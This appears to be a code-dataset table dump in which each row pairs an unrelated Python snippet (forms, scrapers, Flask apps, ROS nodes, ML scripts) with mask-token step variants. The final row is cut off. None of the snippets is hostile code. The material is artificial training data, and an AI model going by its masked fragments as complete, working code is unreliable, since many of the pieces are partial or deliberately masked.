code stringlengths 13 1.2M | order_type stringclasses 1
value | original_example dict | step_ids listlengths 1 5 |
|---|---|---|---|
from collections import OrderedDict
import re
from copy import copy
from datetime import datetime
import json
from bson import ObjectId
from bson.errors import InvalidId
from wtforms import Field
class StringField(Field):
def __init__(self, label=None, validators=None, empty_to_default=True,
st... | normal | {
"blob_id": "72b29764f584c7f824eaa63ab0fdb1839a8d9102",
"index": 8166,
"step-1": "<mask token>\n\n\nclass DateTimeField(Field):\n <mask token>\n\n def process_formdata(self, values):\n if values:\n value = values[0].strip()\n if value == '':\n self.data = self.de... | [
19,
21,
23,
30,
34
] |
import os
TEMP_DIR = os.path.expanduser('~/Documents/MFA')
def make_safe(value):
if isinstance(value, bool):
return str(value).lower()
return str(value)
class MonophoneConfig(object):
'''
Configuration class for monophone training
Scale options defaults to::
['--transition-sca... | normal | {
"blob_id": "7cfca56907f0bca7fd62e506414641f942527d1a",
"index": 9624,
"step-1": "<mask token>\n\n\nclass iVectorExtractorConfig(object):\n \"\"\"\n Configuration class for i-vector extractor training\n\n Attributes\n ----------\n ivector_dim : int\n Dimension of the extracted i-vector\n ... | [
13,
24,
27,
29,
36
] |
# Ex 1
numbers = [10,20,30, 9,-12]
print("The sum of 'numbers' is:",sum(numbers))
# Ex 2
print("The largest of 'numbers' is:",max(numbers))
# Ex 3
print("The smallest of 'numbers' is:",min(numbers))
# Ex 4
for i in numbers:
if (i % 2 == 0):
print(i,"is even.")
# Ex 5
for i in numbers:
if (i > 0):
... | normal | {
"blob_id": "ce8879dae6c7585a727e35f588722bc28045256a",
"index": 8569,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(\"The sum of 'numbers' is:\", sum(numbers))\nprint(\"The largest of 'numbers' is:\", max(numbers))\nprint(\"The smallest of 'numbers' is:\", min(numbers))\nfor i in numbers:\n if... | [
0,
1,
2,
3
] |
#coding:utf-8
x = '上'
res = x.encode('gbk')
print(res, type(res))
print(res.decode('gbk'))
| normal | {
"blob_id": "3c053bf1b572759eddcd310d185f7e44d82171a5",
"index": 9153,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(res, type(res))\nprint(res.decode('gbk'))\n",
"step-3": "x = '上'\nres = x.encode('gbk')\nprint(res, type(res))\nprint(res.decode('gbk'))\n",
"step-4": "#coding:utf-8\n\nx = '上'\... | [
0,
1,
2,
3
] |
#!/usr/bin/env python
host, port = "localhost", 9999
import os
import sys
import signal
import socket
import time
import select
from SocketServer import TCPServer
from SocketServer import StreamRequestHandler
class TimeoutException(Exception):
pass
def read_command(rfile,wfile,prompt):
def timeout_handler(signum... | normal | {
"blob_id": "e00b81f73f4f639e008fde1a6b2d4f7937df4207",
"index": 8518,
"step-1": "<mask token>\n\n\nclass TimeoutException(Exception):\n pass\n\n\n<mask token>\n\n\nclass Control(StreamRequestHandler):\n allow_reuse_address = True\n\n def handle(self):\n command = 'go'\n prompt = True\n ... | [
6,
9,
10,
11,
13
] |
# coding=utf-8
import base64
from sandcrawler.scraper import ScraperBase, SimpleScraperBase
class Hdmovie14Ag(SimpleScraperBase):
BASE_URL = 'http://www1.solarmovie.net'
OTHER_URLS = ['http://solarmovie.net', 'http://hdmovie14.ag']
SCRAPER_TYPES = [ ScraperBase.SCRAPER_TYPE_OSP, ]
LANGUAGE = 'eng'
... | normal | {
"blob_id": "27a12a0f5ea6120036b66ee1cdd903da868a037f",
"index": 952,
"step-1": "<mask token>\n\n\nclass Hdmovie14Ag(SimpleScraperBase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def _fetch_search_url(self, search_term, media_type):\n ... | [
5,
6,
7,
8,
9
] |
#!/usr/bin/python3
import json
def from_json_string(my_str):
"""Function returns a JSON file representation of an object (string)"""
return json.loads(my_str)
| normal | {
"blob_id": "b748c489b2c63546feada811aa3b66146ad8d28e",
"index": 9450,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n return json.loads(my_str)\n",
"step-3": "import json\n\n\ndef f... | [
0,
1,
2,
3
] |
# Find sum/count of Prime digits in a number | normal | {
"blob_id": "75217256d88c32ed1c502bc104c30092bf74382d",
"index": 9791,
"step-1": "# Find sum/count of Prime digits in a number",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
1
]
} | [
1
] |
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import matplotlib.animation as animation
import pylab
from mpl_toolkits import mplot3d
from mpl_toolkits.mplot3d import Axes3D
class Hexapod:
def __init__(self, axis):
"""
Инициализация начальных параметров системы
:par... | normal | {
"blob_id": "9a672c17ee22a05e77491bc1449c1c1678414a8c",
"index": 3094,
"step-1": "<mask token>\n\n\nclass Hexapod:\n <mask token>\n <mask token>\n\n def get_delta_L(self):\n \"\"\"\n Расчет геометрии положения точек A_i в каждый момент времени.\n Отрисовка графиков изменения длин, с... | [
6,
9,
10,
11,
13
] |
import random
import sys
import math
import numpy as np
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation
from snake_game import Snake
from snake_game import Fruit
import pygame
from pygame.locals import *
# Neural Network glo... | normal | {
"blob_id": "fc1b9ab1fb1ae71d70b3bf5c879a5f604ddef997",
"index": 9969,
"step-1": "<mask token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network... | [
13,
15,
16,
20,
21
] |
import os
import sys
import time
import json
import socket
from urllib import request, parse
from concurrent.futures import ThreadPoolExecutor
from multiprocessing import Process
import psutil
from daemon import DaemonBase
from host_performence import *
class MyDaemon(DaemonBase):
"""Real Daemon class"""
d... | normal | {
"blob_id": "6e253747182716f84aa6326aafe15ff82be17378",
"index": 1351,
"step-1": "<mask token>\n\n\nclass MyDaemon(DaemonBase):\n <mask token>\n\n def __init__(self, api_url, monitor_port, pidfile, stdin='/dev/null',\n stdout='/dev/null', stderr='/dev/null'):\n self.api_url = api_url\n ... | [
4,
5,
7,
8,
9
] |
from bs4 import BeautifulSoup
import requests
import pandas as pd
import json
cmc = requests.get('https://coinmarketcap.com/')
soup = BeautifulSoup(cmc.content, 'html.parser')
data = soup.find('script', id="__NEXT_DATA__", type="application/json")
coins = {}
slugs = {}
coin_data = json.loads(data.contents[0])
listin... | normal | {
"blob_id": "925e1a1a99b70a8d56289b72fa0e16997e12d854",
"index": 4038,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in listings:\n coins[str(i['id'])] = i['slug']\n slugs[i['slug']] = str(i['id'])\nfor i in coins:\n page = requests.get(\n f'https://coinmarketcap.com/currencies/{co... | [
0,
1,
2,
3,
4
] |
from PySide.QtCore import (qAbs, QLineF, QPointF, qrand, QRectF, QSizeF, qsrand,
Qt, QTime,QSettings,QSize,QPoint)
from PySide.QtGui import (QBrush, QKeySequence, QColor, QLinearGradient, QPainter,
QPainterPath, QPen, QPolygonF, QRadialGradient, QApplication, QGraphicsItem, QGraphicsScene,
QGra... | normal | {
"blob_id": "88a3c3fad9717675ed13bcbc778d635f6552c4b1",
"index": 8215,
"step-1": "<mask token>\n\n\nclass RepresentationPane(BasePane):\n\n def __init__(self, setting_dict):\n BasePane.__init__(self)\n repLayout = QVBoxLayout()\n genLayout = QFormLayout()\n self.winLenEdit = QLineE... | [
20,
23,
28,
30,
31
] |
from scrapy.selector import HtmlXPathSelector
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors.sgml import SgmlLinkExtractor
from scrapy.item import Item, Field
import scrapy
import config
from scrapy.linkextractors import LinkExtractor
from scrapy.http import Request
class BrokenItem(Item):
... | normal | {
"blob_id": "d827c59871d58e098009c22320af73f8f40169bb",
"index": 5622,
"step-1": "from scrapy.selector import HtmlXPathSelector\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors.sgml import SgmlLinkExtractor\nfrom scrapy.item import Item, Field\nimport scrapy\nimport config\nfrom scrapy.l... | [
0
] |
#상관분석
"""
유클리디안 거리 공식의 한계점: 특정인의 점수가 극단적으로 높거나 낮다면 제대로된 결과를 도출해내기 어렵다.
=>상관분석:두 변수간의 선형적 관계를 분석하겠다는 의미
"""
#BTS와 유성룡 평점, 이황, 조용필
import matplotlib as mpl
mpl.rcParams['axes.unicode_minus']=False #한글 깨짐 방지
from matplotlib import font_manager, rc
import matplotlib.pyplot as plt
from math import sqrt
font_name ... | normal | {
"blob_id": "b377a652eec55b03f689a5097bf741b18549cba0",
"index": 4939,
"step-1": "<mask token>\n\n\ndef drawGraph(data, name1, name2):\n plt.figure(figsize=(14, 8))\n li = []\n li2 = []\n for i in critics[name1]:\n if i in data[name2]:\n li.append(critics[name1][i])\n li2... | [
4,
5,
6,
7,
8
] |
LOGIN_USERNAME = 'YOUR_USERNAME'
LOGIN_PASSWORD = 'YOUR_PASSWORD'
| normal | {
"blob_id": "5a092150896e4082431849828793f86adcd2211c",
"index": 8202,
"step-1": "<mask token>\n",
"step-2": "LOGIN_USERNAME = 'YOUR_USERNAME'\nLOGIN_PASSWORD = 'YOUR_PASSWORD'\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
} | [
0,
1
] |
/home/sbm367/anaconda3/lib/python3.5/types.py | normal | {
"blob_id": "720d37e35eb335cc68ff27763cfe5c52f76b98d2",
"index": 5781,
"step-1": "/home/sbm367/anaconda3/lib/python3.5/types.py",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
} | [
0
] |
class ListNode:
def __init__(self, value = 0, next = None):
self.value = value
self.next = next
def count(node: ListNode) -> int:
if node is None:
return 0
else:
return count(node.next) + 1
# Test Cases
LL1 = ListNode(1, ListNode(4, ListNode(5)))
print(count(None)) # 0
print(co... | normal | {
"blob_id": "8c6169bd812a5f34693b12ce2c886969542f1ab8",
"index": 2352,
"step-1": "class ListNode:\n\n def __init__(self, value=0, next=None):\n self.value = value\n self.next = next\n\n\n<mask token>\n",
"step-2": "class ListNode:\n\n def __init__(self, value=0, next=None):\n self.va... | [
2,
3,
4,
5,
6
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
from abc import ABCMeta, abstractmethod
from six import with_metaclass
from .utils import parse_query_parameters
class CollectionMixin(with_metaclass(ABCMeta, object)):
@abstractmethod
def list(self, size=100, offset=None, **fil... | normal | {
"blob_id": "b63ed9e09b9e8c539aff765d719f3610283663fe",
"index": 4496,
"step-1": "<mask token>\n\n\nclass CollectionMixin(with_metaclass(ABCMeta, object)):\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass CollectionMixin(with_metaclass(ABCMeta, object)):\n <mask token>\n\n def i... | [
1,
2,
3,
4,
5
] |
from flask import Flask, url_for, render_template, request
import os
import blescan
import sys
import requests
import logging
from logging.handlers import RotatingFileHandler
import json
from datetime import datetime
import bluetooth._bluetooth as bluez
app = Flask(__name__)
@app.route('/sivut/')
def default_... | normal | {
"blob_id": "040942e2e09b5c2df5c08207b9c033471b117608",
"index": 500,
"step-1": " \nfrom flask import Flask, url_for, render_template, request\nimport os\nimport blescan\nimport sys\nimport requests\nimport logging\nfrom logging.handlers import RotatingFileHandler\nimport json\nfrom datetime import datetime\n... | [
0
] |
from django.test import TestCase
from recruitmentapp.apps.core.models import Competence
class CompetenceTest(TestCase):
def setUp(self):
self.competence = Competence.objects.create(name='mining')
self.competence.set_current_language('sv')
self.competence.name = 'gruvarbete'
self.c... | normal | {
"blob_id": "d7b0ff6549d854d21ad1d2d0f5a9e7f75f4ac1d5",
"index": 956,
"step-1": "<mask token>\n\n\nclass CompetenceTest(TestCase):\n <mask token>\n\n def test_translation(self):\n competence = Competence.objects.first()\n self.assertEqual(competence.name, 'mining')\n competence.set_cur... | [
2,
3,
4,
5
] |
#!/bin/python
from flask import Flask, jsonify, request
import subprocess
import os
app = Flask(__name__)
text = ""
greetings = "'/play' and '/replay'\n"
@app.route('/')
def index():
return greetings
@app.route('/play', methods=['POST'])
def play():
global text
text = request.data.decode('utf-8')
o... | normal | {
"blob_id": "956e63bf06255df4a36b5fa97aa62c0ed805c3f3",
"index": 9452,
"step-1": "<mask token>\n\n\n@app.route('/')\ndef index():\n return greetings\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\n@app.route('/')\ndef index():\n return greetings\n\n\n@app.route('/play', methods=['POST'])\ndef play():\... | [
1,
4,
5,
6,
7
] |
#!/usr/bin/env python
import rospy
from geometry_msgs.msg import Twist
from sensor_msgs.msg import Joy
import serial
from sys import platform
if platform == "linux" or platform == "linux2":
ser = serial.Serial('/dev/ttyACM0')
elif platform == "darwin":
pass
elif platform == "win32":
# Windows...
ser = ... | normal | {
"blob_id": "14a357f3dfb3d59f1d8cfd566edeaf8b0e5bb56d",
"index": 374,
"step-1": "<mask token>\n\n\ndef callback(data):\n global first_a\n global first_d\n global oldvar\n global base_throttle\n global peak_throttle\n global base_brake\n global peak_brake\n global button\n axis1 = -data... | [
2,
3,
4,
5,
6
] |
import re
def read_input():
with open('../input/day12.txt') as f:
lines = f.readlines()
m = re.search(r'initial state:\s([\.#]+)', lines[0])
initial_state = m.groups()[0]
prog = re.compile(r'([\.#]{5})\s=>\s([\.#])')
rules = []
for i in range(2, len(lines)):
m = prog.search(line... | normal | {
"blob_id": "27f001f4e79291825c56642693894375fef3e66a",
"index": 1647,
"step-1": "<mask token>\n\n\ndef read_input():\n with open('../input/day12.txt') as f:\n lines = f.readlines()\n m = re.search('initial state:\\\\s([\\\\.#]+)', lines[0])\n initial_state = m.groups()[0]\n prog = re.compile(... | [
3,
4,
5,
6,
7
] |
# -*- coding:utf-8 -*-
"""
逆波兰表达式,中缀表达式可以对应一棵二叉树,逆波兰表达式即该二叉树后续遍历的结果。
"""
def isOperator(c):
return c == '+' or c == '-' or c == '*' or c == '/'
def reversePolishNotation(p):
stack = list()
for cur in p:
if not isOperator(cur):
stack.append(cur)
else:
b = float(sta... | normal | {
"blob_id": "93a47d6ba1f699d881f0d22c4775433e4a451890",
"index": 6168,
"step-1": "# -*- coding:utf-8 -*-\n\n\"\"\"\n逆波兰表达式,中缀表达式可以对应一棵二叉树,逆波兰表达式即该二叉树后续遍历的结果。\n\"\"\"\n\ndef isOperator(c):\n return c == '+' or c == '-' or c == '*' or c == '/'\n\n\ndef reversePolishNotation(p):\n stack = list()\n for cur ... | [
0
] |
import time
import unittest
from unittest import TestCase
from selenium import webdriver
from simon.accounts.pages import LoginPage
from simon.header.pages import HeaderPage
from simon.pages import BasePage
class RegistrationBaseTestCase(TestCase):
def setUp(self):
self.driver = webdriver.Firefox()
... | normal | {
"blob_id": "380a28958fc6d1b403b29ede229860bf5f709572",
"index": 2550,
"step-1": "<mask token>\n\n\nclass LoginPageTests(RegistrationBaseTestCase):\n\n def test_can_open_whatsapp_login_page(self):\n self.assertTrue(self.login_page.is_title_matches())\n self.assertTrue(self.login_page.is_instruct... | [
8,
10,
12,
13,
14
] |
# coding=UTF-8
from unittest import TestCase
from fwk.util.rect import Rect
class RectSizeTest(TestCase):
def test_sizes_from_coords(self):
rect = Rect(top=33,bottom=22,left=10,right=20)
self.assertEqual(rect.width,10)
self.assertEqual(rect.height,11)
def test_sizes_from_sizes(self):
rect = Rect(top=23,hei... | normal | {
"blob_id": "ff65e92699c6c9379ac40397b3318c3f6bf7d49a",
"index": 3720,
"step-1": "<mask token>\n\n\nclass RectInsetTest(TestCase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass RectCloneAndMagic(TestCase):\n\n def test_clone_and_compare(self):\n rect1 = Rect(left=10... | [
4,
15,
19,
20,
23
] |
import matplotlib; matplotlib.use('agg')
import matplotlib.pyplot as plt
import numpy as np
from scipy.optimize import curve_fit
from uncertainties import ufloat
#Holt Werte aus Textdatei
I, U = np.genfromtxt('werte2.txt', unpack=True)
#Definiert Funktion mit der ihr fitten wollt (hier eine Gerade)
def f(x,... | normal | {
"blob_id": "4932a357cfd60cb65630345e75794ebf58b82c82",
"index": 8696,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nmatplotlib.use('agg')\n<mask token>\n\n\ndef f(x, A, B):\n return A * x + B\n\n\n<mask token>\nplt.plot(x_plot, f(x_plot, *params), 'k-', label='Anpassungsfunktion',\n linewidth=0.5... | [
0,
2,
3,
4,
5
] |
#到达终点的最小步数 leetcode原题 754 https://leetcode.com/problems/reach-a-number/solution/
# 分情况讨论:到target与到abs(target)的情况是一样的
# 1. total = 1+2+...+k,求total刚好大于等于n的k,可知到达target至少要用k步,此时超出d=total-k
# 2. 如果d为偶数,则只需将d/2步反向即可,k步即可到达target
# 3. 如果d为奇数,则k步不可能到达,因为任何反转都会改变偶数距离,不可能消去d,则再走一步判断d+k+1是否为偶数
# 4. 如果为偶数,说明k+1步可到
# 5. 如果d+k+1为奇... | normal | {
"blob_id": "4b255b648f67e6bcc30eecc7975bbb1a356b2499",
"index": 2656,
"step-1": "<mask token>\n",
"step-2": "class Solution(object):\n <mask token>\n\n\n<mask token>\n",
"step-3": "class Solution(object):\n\n def reachNumber(self, target):\n target = abs(target)\n k = 0\n while ta... | [
0,
1,
2,
3,
4
] |
# -*- coding: utf-8 -*-
"""
Created on Wed Dec 19 09:41:08 2018
hexatrigesimal to decimal calculator,
base 36 encoding; use of letters with digits.
@author: susan
"""
## create a dictionary as reference for BASE 36 calculations
WORD = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" # digits of BASE 36
BASE = {}
for i,... | normal | {
"blob_id": "5a265ecb9f1d6d0e4a5c66d241fbfe4a6df97825",
"index": 8191,
"step-1": "<mask token>\n\n\ndef enter_num():\n \"\"\" get user input and do error checking for illegal digits.\n returns\n -------\n num\n \"\"\"\n num = input('please enter a BASE 36 number, e.g. A36Z :> ')\n num = num.... | [
2,
4,
5,
6,
7
] |
import numpy as np
import sympy as sp
# (index: int, cos: bool)
# 0 1 1 2 2 3 3 4 4 5 5 ...
# {0, cos}, {1, cos}, {1, sen}, {2, cos}, {2, sen}, ...
alternatingRange = lambda m : [{'index': j, 'cos': True if k == 0 else False} for j in range(m + 1) for k in range(2 if j != 0 else 1)]
# data: "dict"
# data = {'x': [x-p... | normal | {
"blob_id": "98c2fdf0dfc9a660a3eb9a359aa9ca14d83c60ce",
"index": 4588,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef trigLSQ(data):\n noPoints = len(data['x'])\n order = int(noPoints / 2) if int(noPoints / 2) < noPoints / 2 else int(\n noPoints / 2) - 1\n c = lambda a: np.array([... | [
0,
1,
2,
3,
4
] |
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 19 17:24:25 2015
@author: Damien
"""
import numpy as np
from operator import itemgetter
import itertools
def writeOBJ(vertlist,trilist,filename):
print "number of triangles: " + str(len(trilist))
print "number of vertices: " + str(len(vertlist))
OBJ = open(f... | normal | {
"blob_id": "471d4cc95d6cb8d02f1c96e940c2a2235affbc52",
"index": 4127,
"step-1": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 19 17:24:25 2015\n\n@author: Damien\n\"\"\"\nimport numpy as np\nfrom operator import itemgetter\nimport itertools\n\n\ndef writeOBJ(vertlist,trilist,filename):\n print \"numbe... | [
0
] |
n=int(input("n="))
x=int(input("x="))
natija=pow(n,x)+pow(6,x)
print(natija) | normal | {
"blob_id": "0d6490ae5f60ef21ad344e20179bd1b0f6aa761e",
"index": 6214,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(natija)\n",
"step-3": "n = int(input('n='))\nx = int(input('x='))\nnatija = pow(n, x) + pow(6, x)\nprint(natija)\n",
"step-4": "n=int(input(\"n=\"))\r\nx=int(input(\"x=\"))\r\nn... | [
0,
1,
2,
3
] |
n,m=map(int,input().split())
l=list(map(int,input().split()))
t=0
result=[0 for i in range(0,n)]
result.insert(0,1)
while(t<m):
#print(t)
for i in range(l[t],n+1):
result[i]=result[i]+result[i-l[t]]
t=t+1
print(result[-1])
0 1 2 3 4
1 [1,1,1,1,1]
2 [1 1 2 2 3]
3 [... | normal | {
"blob_id": "56640454efce16e0c873d557ac130775a4a2ad8d",
"index": 6734,
"step-1": "n,m=map(int,input().split())\r\nl=list(map(int,input().split()))\r\nt=0\r\nresult=[0 for i in range(0,n)]\r\nresult.insert(0,1)\r\nwhile(t<m):\r\n #print(t)\r\n for i in range(l[t],n+1):\r\n result[i]=result[i]+result[... | [
0
] |
# !usr/bin/env python
# -*- coding: utf-8 -*-
#
# Licensed under a 3-clause BSD license.
#
# @Author: Brian Cherinka
# @Date: 2018-08-16 11:43:42
# @Last modified by: Brian Cherinka
# @Last Modified time: 2018-08-16 11:58:06
from __future__ import print_function, division, absolute_import
import pytest
import os
f... | normal | {
"blob_id": "bd00644b9cf019fe8c86d52494389b7f0f03d3c3",
"index": 1276,
"step-1": "<mask token>\n\n\n@contextmanager\ndef captured_templates(app):\n \"\"\" Records which templates are used \"\"\"\n recorded = []\n\n def record(app, template, context, **extra):\n recorded.append((template, context)... | [
5,
6,
7,
8,
9
] |
#!/usr/bin/env python
# coding: utf-8
# In[1]:
import pandas as pd
import numpy as np
import seaborn as sns
# In[2]:
df = pd.read_csv("ipl_matches.csv")
df.head()
# In[3]:
## -----data cleaning------
## remove unwanted columns
columns_to_remove = ['mid','batsman','bowler','striker','non-striker']
df.drop(la... | normal | {
"blob_id": "3b1b3cab1fa197f75812ca5b1f044909914212c0",
"index": 9050,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ndf.head()\n<mask token>\ndf.drop(labels=columns_to_remove, axis=1, inplace=True)\ndf.head()\ndf['bat_team'].unique()\n<mask token>\ndf.head()\n<mask token>\ndf.head()\n<mask token>\ndf.he... | [
0,
1,
2,
3,
4
] |
#!/usr/bin/env python
import os
import shutil
import glob
import re
import subprocess
list = glob.glob("*en.mrc")
for en in list:
ef = re.sub("en","ef",en)
efAli = re.sub("en","efAli",en)
cmd='proc2d %s %s_filt.mrc apix=1.501 lp=20' %(ef,ef[:-4])
subprocess.Popen(cmd,shell=True).wait()
cmd="alignhuge %s_fil... | normal | {
"blob_id": "e5cc556d4258ef5c85f7bc5149cdd33471493bdb",
"index": 1972,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor en in list:\n ef = re.sub('en', 'ef', en)\n efAli = re.sub('en', 'efAli', en)\n cmd = 'proc2d %s %s_filt.mrc apix=1.501 lp=20' % (ef, ef[:-4])\n subprocess.Popen(cmd, shel... | [
0,
1,
2,
3,
4
] |
class SimulatorInfo(object):
def __init__(self, name=None, device_type=None, sdk=None, device_id=
None, sim_id=None):
self.name = name
self.device_type = device_type
self.sdk = sdk
self.device_id = device_id
self.sim_id = sim_id
| normal | {
"blob_id": "9b94e8aed2b0be2771a38cf2d1cf391772f3a9f0",
"index": 6478,
"step-1": "<mask token>\n",
"step-2": "class SimulatorInfo(object):\n <mask token>\n",
"step-3": "class SimulatorInfo(object):\n\n def __init__(self, name=None, device_type=None, sdk=None, device_id=\n None, sim_id=None):\n ... | [
0,
1,
2
] |
from custom_layers import custom_word_embedding
from custom_layers import Attention
from utils import load_emb_weights
import torch
from torch import nn
class classifier(nn.Module):
#define all the layers used in model
def __init__(self, embedding_dim, hidden_dim, output_dim, n_layers, embed_weights,
... | normal | {
"blob_id": "4692b2d19f64b3b4bd10c5eadd22a4b5a2f2ef37",
"index": 3923,
"step-1": "<mask token>\n\n\nclass classifier(nn.Module):\n <mask token>\n <mask token>\n\n\nclass AT_LSTM(nn.Module):\n\n def __init__(self, embedding_dim, aspect_embedding_dim, hidden_dim,\n output_dim, n_layers, embed_weigh... | [
4,
5,
6,
7,
8
] |
#!/usr/bin/python
import argparse
import string
import numpy
def gen_ft_parser():
ft_parser = argparse.ArgumentParser(
description='Generate a Character-Feature Translation Table')
ft_parser.add_argument('alphabet_file', metavar='alphabet_file',
type=str, help='A file contianing all the char... | normal | {
"blob_id": "f4d4be174bed2704c0ad12eea2f0cd64eaaa0aaa",
"index": 1973,
"step-1": "<mask token>\n\n\ndef gen_ft_parser():\n ft_parser = argparse.ArgumentParser(description=\n 'Generate a Character-Feature Translation Table')\n ft_parser.add_argument('alphabet_file', metavar='alphabet_file', type=\n ... | [
4,
6,
7,
8,
9
] |
class mySeq:
def __init__(self):
self.mseq = ['I', 'II', 'III', 'IV']
def __len__(self):
return len(self.mseq)
def __getitem__(self, key):
if 0 <= key < 4:
return self.mseq[key]
if __name__ == '__main__':
m = mySeq()
print('Len of mySeq : ', len(m))
for i... | normal | {
"blob_id": "b86dedad42d092ae97eb21227034e306ca640912",
"index": 5890,
"step-1": "class mySeq:\n <mask token>\n\n def __len__(self):\n return len(self.mseq)\n <mask token>\n\n\n<mask token>\n",
"step-2": "class mySeq:\n\n def __init__(self):\n self.mseq = ['I', 'II', 'III', 'IV']\n\n ... | [
2,
3,
4,
5
] |
from enum import Enum
EXIT_CODES = [
"SUCCESS",
"BUILD_FAILURE",
"PARSING_FAILURE",
"COMMAND_LINE_ERROR",
"TESTS_FAILED",
"PARTIAL_ANALYSIS_FAILURE",
"NO_TESTS_FOUND",
"RUN_FAILURE",
"ANALYSIS_FAILURE",
"INTERRUPTED",
"LOCK_HEL... | normal | {
"blob_id": "5e86e97281b9d18a06efc62b20f5399611e3510d",
"index": 8000,
"step-1": "<mask token>\n\n\nclass CPU(DistantEnum):\n k8 = 'k8'\n piii = 'piii'\n darwin = 'darwin'\n freebsd = 'freebsd'\n armeabi = 'armeabi-v7a'\n arm = 'arm'\n aarch64 = 'aarch64'\n x64_windows = 'x64_windows'\n ... | [
4,
5,
7,
8,
9
] |
import os
import glob
import pandas as pd
classes = os.listdir(os.getcwd())
for classf in classes:
#if os.path.isfile(classf) or classf == 'LAST':
#continue
PWD = os.getcwd() + "/" + classf + "/"
currentdname = os.path.basename(os.getcwd())
csvfiles=glob.glob(PWD + "/*.csv")
df = pd.DataFrame(columns=['im... | normal | {
"blob_id": "3ebd455056f168f8f69b9005c643c519e5d0b436",
"index": 8286,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor classf in classes:\n PWD = os.getcwd() + '/' + classf + '/'\n currentdname = os.path.basename(os.getcwd())\n csvfiles = glob.glob(PWD + '/*.csv')\n df = pd.DataFrame(colum... | [
0,
1,
2,
3,
4
] |
# new libraries
import ConfigParser
import logging
from time import time
from os import path
# imports from nike.py below
import smass
import helperFunctions
import clusterSMass_orig
import numpy as np
from joblib import Parallel, delayed
def getConfig(section, item, boolean=False,
userConfigFile="BMA_StellarMass_C... | normal | {
"blob_id": "ae71cbd17ec04125354d5aac1cf800f2dffa3e04",
"index": 3314,
"step-1": "# new libraries\nimport ConfigParser\nimport logging\nfrom time import time\nfrom os import path\n# imports from nike.py below\nimport smass\nimport helperFunctions\nimport clusterSMass_orig\nimport numpy as np\nfrom joblib import ... | [
0
] |
"""Config flow for Philips TV integration."""
from __future__ import annotations
from collections.abc import Mapping
import platform
from typing import Any
from haphilipsjs import ConnectionFailure, PairingFailure, PhilipsTV
import voluptuous as vol
from homeassistant import config_entries, core
from homeassistant.c... | normal | {
"blob_id": "515967656feea176e966de89207f043f9cc20c61",
"index": 6716,
"step-1": "<mask token>\n\n\nclass ConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\n <mask token>\n <mask token>\n\n def __init__(self) ->None:\n \"\"\"Initialize flow.\"\"\"\n super().__init__()\n self._cu... | [
6,
9,
10,
11,
12
] |
import json, requests, math, random
#import datagatherer
# Constants:
start_elo = 0 # Starting elo
decay_factor = 0.9 # Decay % between stages
k = 30 # k for elo change
d = 200 # Difference in elo for 75% expected WR
overall_weight = 0.60 # Weigts for different types o... | normal | {
"blob_id": "4f84cf80292e2764ca3e4da79858058850646527",
"index": 8862,
"step-1": "<mask token>\n\n\nclass EloCalculations:\n\n def __init__(self):\n self.teamcolors = {}\n for teamdata in colordata:\n c = teamdata['competitor']\n self.teamcolors[c['abbreviatedName']] = ['#'... | [
5,
7,
8,
9,
10
] |
import boto3
from time import sleep
cfn = boto3.client('cloudformation')
try:
# Get base stack outputs.
stack_id = cfn.describe_stacks(StackName='MinecraftInstance')['Stacks'][0]['StackId']
cfn.delete_stack(StackName=stack_id)
print(f"Deleting Stack: {stack_id}")
except Exception as e:
print('Some... | normal | {
"blob_id": "b3fb210bcdec2ed552c37c6221c1f0f0419d7469",
"index": 8478,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ntry:\n stack_id = cfn.describe_stacks(StackName='MinecraftInstance')['Stacks'][0][\n 'StackId']\n cfn.delete_stack(StackName=stack_id)\n print(f'Deleting Stack: {stack_id}... | [
0,
1,
2,
3,
4
] |
#Tom Healy
#Adapted from Chris Albon https://chrisalbon.com/machine_learning/linear_regression/linear_regression_using_scikit-learn/
#Load the libraries we will need
#This is just to play round with Linear regression more that anything else
from sklearn.linear_model import LinearRegression
from sklearn.datasets import ... | normal | {
"blob_id": "0f257d199ad0285d8619647434451841144af66d",
"index": 9379,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwarnings.filterwarnings(action='ignore', module='scipy', message=\n '^internal gelsd')\n<mask token>\nmodel.intercept_\nprint(model.intercept_)\nmodel.coef_\nprint(model.coef_)\n",
"... | [
0,
1,
2,
3,
4
] |
from __future__ import print_function
import tensorflow as tf
# from keras.callbacks import ModelCheckpoint
from data import load_train_data
from utils import *
import os
create_paths()
log_file = open(global_path + "logs/log_file.txt", 'a')
X_train, y_train = load_train_data()
labeled_index = np.arange(0, nb_labeled... | normal | {
"blob_id": "d36552cc589b03008dc9edab8d7e4a003e26bd21",
"index": 5046,
